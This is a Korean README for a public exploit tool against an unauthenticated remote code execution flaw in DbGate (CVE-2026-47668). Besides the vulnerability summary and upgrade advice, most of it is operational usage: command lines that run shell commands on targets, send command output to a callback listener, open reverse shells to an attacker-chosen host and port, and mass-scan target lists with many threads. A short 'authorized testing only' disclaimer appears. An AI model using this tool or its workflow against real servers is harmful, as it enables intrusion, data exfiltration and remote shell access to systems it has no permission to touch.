
DbGate Unauthenticated Remote Code Execution
DbGate JSON 스크립트 러너(dbgate-serve ≤ 7.1.8)의 인증되지 않은 RCE.
평가 도구: CVE-2026-47668.py — 승인된 테스트 전용.
| CVE | CVE-2026-47668 |
| 심각도 | Critical |
| 제품 | DbGate / dbgate-serve |
| 영향받는 버전 | ≤ 7.1.8 |
| 수정된 버전 | ≥ 7.1.9 |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20, CWE-94, CWE-1188 |
제목: JSON 스크립트 러너를 통한 DbGate 인증되지 않은 원격 코드 실행
사용자 제어 필드(functionName, variableName)가 적절한 검증 없이 동적으로 생성된 JavaScript에 삽입됩니다. 공격자는 Node.js 러너 자식 프로세스에서 임의 코드를 실행할 수 있습니다.
완화 조치: **7.1.9+**로 업그레이드하세요. 네트워크 접근을 제한하고, 익명 인증을 비활성화하고, 자격 증명을 교체하고, 의심스러운 /runners/start 활동이 있는지 로그를 검토하세요.
Telegram: @KNxploited
**CVE-2026-47668.py**는 승인된 테스트 대상 DbGate 인스턴스에 대한 익스플로잇을 확인하고 검증합니다.
모드
결과
출력 디렉터리: Nx/ (vuln, dispatch, exfil, failed, list_report, exfil/ 아래 대상별 파일)
pip install -r requirements.txt
요구 사항: Python 3.9+, aiohttp, colorama
python CVE-2026-47668.py
| 프롬프트 입력 | 예 |
|---|---|
| 단일 URL | http://192.168.1.10:3000 |
| URL + 명령 | http://192.168.1.10:3000|id |
| 대상 목록 | targets.txt |
모든 CLI 실행에는 **--cli**가 포함되어야 합니다.
python CVE-2026-47668.py --cli [options]
-u / --url — 대상 기본 URL
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000
--cmd / --command — 셸 명령(기본값: id)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp"
--check-only — 취약점 프로브 전용(명령 없음)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only
--vector — 주입 벡터: functionName | variableName | both
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id
--port — URL에 포트가 없을 때 기본 포트(기본값: 3000)
python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id
--token — 기존 Bearer 토큰 사용
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id
--login-json — 사용자 지정 로그인 본문(기본값: {"amoid":"none"})
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id
--timeout — HTTP 타임아웃(초)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id
--secure — TLS 인증서 확인
python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id
--cmd 사용 시 기본값)--callback-host — 대상이 리스너에 연결할 때 사용하는 IP/호스트 이름
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id
--listen-host — HTTP 리스너의 로컬 바인드(기본값: 0.0.0.0)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id
--listen-port — HTTP 데이터 유출 포트(기본값: 8888)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id
-c / --callback — 외부 콜백 URL(내장 리스너 비활성화)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id
--wait-exfil — 콜백 대기 시간(초)(단일 대상, 기본값: 8)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id
--no-b64 — base64 인코딩 없이 출력 전송
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id
--async-exec — execSync 대신 비동기 exec 사용
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id
-f / --file — 대상 목록 파일
python CVE-2026-47668.py --cli -f targets.txt --cmd id
-t / --threads — 동시 작업자 수(기본값: 30)
python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50
--mass-wait-exfil — 대량 스캔 시 대상당 콜백 대기 시간(기본값: 8)
python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12
대량 + 사용자 지정 기본 포트
python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id"
일반 테스트에는 필요하지 않습니다. 증명을 위해 HTTP 데이터 유출(--cmd)을 사용하세요.
--reverse-shell — 대상이 LHOST:LPORT에 연결합니다(값 생략 시 LAN IP + 포트 4444)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444
--revsh-port — --reverse-shell에 :port가 없을 때 사용할 포트
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444
--revsh-bind — 로컬 리슨 주소
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0
--wait-revsh — TCP 대기 시간(기본값: 15)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20
--revsh-interactive — 연결 후 기본 stdin/stdout 릴레이
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive
Docker 참고: PC의 127.0.0.1만 사용하지 말고 DbGate 컨테이너에서 접근 가능한 IP(예: 호스트 게이트웨이)를 사용하세요.
targets.txt)# comment
192.168.1.10
192.168.1.11:3000
http://10.0.0.8:3000
http://10.0.0.9|uname -a
https://dbgate.local|id
host|command → 줄별 명령 재정의Nx/list_report.txtPOST /auth/login → Bearer 토큰(--token이 없으면 자동)POST /runners/start → 명령 실행 + HTTP 콜백(또는 활성화된 경우 리버스 TCP)승인된 보안 테스트 전용입니다. 어떤 시스템을 테스트하려면 명시적 허가가 있어야 합니다. 저자는 오용 또는 불법 사용에 대해 책임지지 않습니다.
By: Nxploited
| 항목 | 내용 |
|---|
| 엔드포인트 | POST /runners/start |
| 인증 | Bearer 필수, 익명/기본 배포에서는 POST /auth/login을 통해 토큰을 얻을 수 있음 |
| 주입 지점 | JSON assign 명령의 functionName, variableName |
| 영향 | DbGate 프로세스 사용자 권한으로 OS 명령 실행 |
| 모드 | 리버스 셸 | 설명 |
|---|
| AUTO | 아니요 | 단일 프롬프트, 토큰 + HTTP 콜백 + 기본값 |
| CLI | 선택 | 플래그를 통한 전체 제어 |
| Mass | 아니요 | targets.txt에서 스캔 |
--reverse-shell | 예 | 선택적 TCP 확인(단일 대상만) |
| 결과 | 의미 |
|---|
| FAIL | 연결 불가, 인증 실패 또는 취약하지 않음 |
| VULN | 러너가 프로브만 수락함 |
| DISPATCH | 페이로드 전송됨, 확인된 출력 없음 |
| EXFIL | 콜백 수신 — 명령 출력 확인됨 |
| REVSH | 리버스 TCP 연결됨(선택 모드 전용) |
| 파일 | 내용 |
|---|
Nx/vuln.txt | 취약한 대상(프로브 OK) |
Nx/dispatch.txt | 페이로드 전송됨, 확인 안 됨 |
Nx/exfil.txt | 확인된 콜백 |
Nx/failed.txt | 실패한 대상 |
Nx/exfil/<host>.txt | 대상별 명령 출력 |
Nx/sessions/<id>/summary.json | 세션 요약 |